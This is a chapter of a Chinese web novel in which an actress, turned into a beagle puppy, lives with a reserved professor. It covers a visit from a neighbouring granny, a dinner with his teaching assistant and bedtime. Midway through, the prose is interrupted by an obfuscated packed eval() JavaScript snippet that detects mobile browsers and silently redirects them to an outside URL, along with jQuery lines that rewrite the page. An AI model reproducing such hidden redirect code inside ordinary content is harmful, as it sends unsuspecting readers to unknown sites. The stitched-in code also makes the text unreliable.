“还太小了用不着。”
“我是说公狗。”
电话被挂断了。
林砚之木着脸看着正在翻购物袋的小狗,明显的记吃不记打,一点都不长记性。
夏焰从购物袋里拖出饼干面包还有一些蔬菜水果,一样一样摆在地上,骄傲地仰着头摇着尾巴,故意让林砚之夸她。
林砚之忍不住笑着叹气摸摸她的脑袋:“我这辈子加起来道的歉都没今天多。”
虽然是笑着的,夏焰却听出有几分咬牙切齿在里面,不过大人不记小人过,决定不计较他的小脾气。
看他把东西搬进厨房,她又钻进另一个袋子里,慢慢叼出属于她的枕头,踩踩里面的棉花,坐在上面,又从袋子里面抽出一条围巾。
大热天的买什么围巾。
把围巾展开,上面一堆堆蝴蝶结刺痛着夏焰的眼睛。
我的眼睛好痛!
丝滑地被她滑进沙发底,像学猫王跳舞一样,站在围巾上,一点点塞进去。
林砚之在厨房开火炒菜,夏焰闻着味猜测今天中午吃小炒肉喝三鲜汤。
擦擦口水,掏空袋子,翻出一张购物小票。
她暗暗记住林砚之给她买的东西,准备变回去了回家的时候一定要还给他,双倍!
知恩图报的夏焰在吃饭时候为了抢夺饭勺从桌子上摔下来,她一个劈叉稳稳落地,把林砚之的碗摔得粉碎。
林砚之捏着鼻梁深呼吸告诉自己,狗没事就好。
狗没事还很会享受,躺在林砚之的书房里,瘫在躺椅上吹空调,在阳光底下晒肚皮。
林砚之坐在书桌前写教案,时不时看她两眼。
她就这样迷迷糊糊睡过去,一个梦也没做,舒舒服服地睡到天黑。
等她睁眼醒来,看见林砚之的书桌前坐着另一个男人,年轻的大学生模样,呆头呆脑,正在用电脑敲敲打打。
对方接收到她的视线,问她:“吵醒你了吗?”
夏焰摇摇头。
男人惊讶:“你能听懂我说话?”
夏焰思考一下又摇摇头。
男人根本不在意她的动作,兴奋地跑出书房大叫:“林老师你的狗也这么聪明!”
林砚之面无表情地走进书房,手里还举着还没挂断的电话,看见她睡眼惺忪的样子嘴角带笑。
“走吧该吃晚饭了。”
他伸手到她跟前,夏焰俯身抓稳他的手臂,然后被带到胸前抱好。
林砚之把她抱出书房,她才看见上午遇见的奶奶也在,奶奶用手指挠挠小狗下巴。
“小宝,奶奶来给你送见面礼噢。”她打开装饼干的铁盒子,从里面拿出一块曲奇,放在自己的掌心,凑到夏焰嘴边
夏焰小心地张嘴,害怕牙齿碰到奶奶的手,她的鼻子蹭着奶奶的手掌,感觉到手掌上干裂的老茧带来的轻微刺痛。
她把饼干叼回怀里,浅浅的舔,淡淡的奶香味。
奶奶一言不发静静地看着她微笑,用力捏捏她的手:“慢慢吃,一整盒都是你的。”
夏焰觉得奇怪,也使劲压住她的手掌。
奶奶把手收回,背在身后,对着她慈爱地笑。
林砚之叫奶奶留下来吃饭,奶奶说她早早吃过了,就她一个人吃饭吃的也早,她就住在隔壁,今天熬了老鸭汤给林砚之。
“我现在要去遛遛瓜皮。”
被主人叫到名字的瓜皮正在挠林砚之的裤腿,想要和他怀里的夏焰打招呼。
林砚之抬腿躲开,给奶奶开门。
走之前他和奶奶说可以给瓜皮提供免费的绝育项目。
“绝育?哈哈哈哈它十年前就没有蛋蛋了。”爽朗的笑声在楼道口传出回音。
她却在这时转身,轻轻拍了三下夏焰的脑袋,紧接着又三下,说:“明天见喽,小宝。”
夏焰愣住,看她走进电梯,看电梯门关上,皱着眉摸着刚刚被打的地方思索。
这是叫我明天六点去找她的意思吗?要传授我失传已久的武林秘籍?老太太深藏不露啊,难道是隐居闹市的武林高手?
表情太过狰狞,林砚之把她的爪子从后脑勺上扯下来,告诉她:“奶奶是让你安生点。”
她投去厌烦的眼神。
他又接上刚才被迫终止的话题:“等你再大点送你去绝育。”
绝育?
这个想法还是太疯狂了了,夏焰认为自己不能被莫名其妙拉上手术台,还是以狗的形态去做手术。
坐在林砚之的臂膀里用爪子扇他的脸。
“你打我干嘛?”
夏焰一本正经地看着他的眼睛:“你怎么不自己去手术台上躺一下。”
他们就这样对视,越靠越近,头贴着头,脸贴着脸,最后瞪成斗鸡眼。
“吃饭喽。”
在厨房帮忙热菜的男生叫他们赶快来吃饭。
林砚之下午订了一张儿童桌椅,请人送来安装。
夏焰坐在上面就不能伸手去划拉桌上的碗筷。
她撑着头看向这个男生,他是林砚之的助教,叫丁丁,就是丁丁历险记里的丁丁,长得也想丁丁历险记里的丁丁,淡色头发,有个前刺刘海,鼻子高高。
平时里要帮助林砚之整理资料和教学工作,而且看起来已经接受过残忍工作的洗礼,灰头土脸地坐在座位上盯着夏焰面前的烤鸭一言不发,等林砚之坐下让他动筷子他才夹起一只鸭腿,有半秒的忧郁不决,飞快扫了眼端着碗正在盛饭的林砚之,把鸡腿投入夏焰的饭盘里。
夏焰看他咧嘴嘿嘿一笑:“小狗多吃点。”
林砚之看了眼他语气冷冷地说:“她不能吃这么油的东西。”
蒋文君的筷子停在半空中,不知道该拿那只鸭腿怎么办,一幅呆傻的样子,开始走马灯回忆前半生,不知道拍马屁为什么总是会拍到牛腿上。
林砚之把还在滋滋流油的烤鸭腿夹回他的碗里,让他自己吃自己的,吃完了好干活。
夏焰啃着为她量身定制的营养晚餐,看蒋文君一边苦笑一边啃着鸭腿,和旁边细嚼慢咽的林砚之形成强烈对比。
夏焰总是疑心林砚之进食只是为了生存,尽管手艺还不错偶尔也会做一两顿丰盛精致的菜品,一旦到了进食的过程,无论什么菜都吃出白粥配咸菜的既视感,你看他筷子间间隔极窄,挨着菜一点就能带回碗里,再把筷子并拢,连带着饭往嘴里赶,像是有固定程序步骤一样滴水不漏。
她可管不着林砚之吃得多斯文,她现在是一只需要进食补充体力的比格犬,只有食物进入身体才能让她有力气跑,有力气跳,她不需要保持所谓的完美身材,做演员的时候要她瘦又不能柴,要她丰满又不能“满”在脸上腰上。从小习武锻炼出的形体,已经被无数次用火锻炼捶打,要按照导演的喜好变成统一模样。
这些导演还总喜欢借用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859057|191705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
观众说话,观众就是上帝,演员太胖,观众不喜欢,太瘦,影响观众观感,比划着他们心里最完美的缪斯形态。结果拍出来一滩狗屎,被骂糊弄观众,他们开始贬低观众水平太低,不懂艺术。
呸!
夏焰吐出一颗葱花,忿忿地撕咬着盘里的水煮鸡胸肉。
一顿饭吃下来三人各怀心事,神情各异,尤其是苦了丁丁,和林教授一起吃饭,对方好像开了屏蔽器只顾碗里的饭菜,还有时不时把快掉出食盘的鸡胸肉挪回小狗的盘子正中央。
他几次说起学校里好笑的事,自己笑得想喷饭,林砚之还是一言不发,只是用纸巾给旁边的小狗耐心擦嘴。他突然有一种自己的严厉父亲生了二胎的既视感,没由来的失落。
正当他放下碗筷,刚想说他吃好了,林砚之也放下筷子,开口问他:“你工作还适应吗?”
“啊?还好!”他有些激动突然再次打开闸口滔滔不绝起来:“而且我实习期马上就过了,等发了第一个月工资我想请林老师吃饭!我知道有家新开的店......”
林砚之面无表情默默点头,他把儿童夏焰从椅子里抱出来,夏焰学他刚才的样子也冲着丁丁不停点头,林砚之透露出骄傲的神情。
他让丁丁吃完饭就回家去,工作明天再来做。
丁丁只好提着电脑和教授拜拜,又呼噜呼噜教授的小狗脑袋。
“林老师,你的狗真像你!”
林砚之眉毛抽搐,抱着狗让他赶紧回家。
随着门砰地一声被关上,夏焰从他的怀里跳到沙发上,打着哈欠看着林砚之收拾餐桌。
他终于不用装了。
夏焰心里清楚,林砚之到底在做什么。他不是演员,也没法成为一个合格的演员,演不出违心的笑,更没法把刻薄演得入木三分,整个人显得混沌难分。
她不以人的形象视角和他交流,反而能感受到他情绪上细微的变化。
那么他为什么总是要拒人于千里之外呢?
男人收拾好厨房又在喊她,叫她准备洗澡,今晚可以用新枕头。
吹风机风大的要把她的皮都吹展开,下盘用力站稳才没被吹跑。
“你这啥破吹风机,吹两年头发都没了吧。”
林砚之把蓬松的小狗丢到床上。
夏焰翻滚一圈把自己的新枕头叼到睡觉的位置,锤打一番让它变得更加柔软,躺在上面看着头顶的卡通飞机灯,想象自己坐在里面飞到外面的世界,和外星人一起跳舞。
短短一会儿时间她就睡着了,梦里还在笑。
林砚之洗完澡上床,调高空调温度,夏焰听见空调滴滴声朦胧睁眼,闻到身边人散发淡淡的沐浴露香。
“睡吧。”他轻声说。
他给夏焰盖上夏凉被,缓缓拍哄她。
“燕燕。”他用气音叫着怀里的小狗,看她的反应。
“嗯。”夏焰没睁眼,等着他接下来的话。
“你喜欢这个名字吗?”
“嗯。”
“我不应该给你起名字。”他摸着小狗耳朵,“不过你喜欢就好。”
“有了名字就会让人不舍得。”
夏焰在被睡意袭击前最后听到的一句话,像林砚之一样,她把爪子也放在他的耳朵上,暖乎乎地盖住。
他们的呼吸交错着,夜幕把他们引向另一个剧场。
清晨六点,夏焰悄悄打开大门。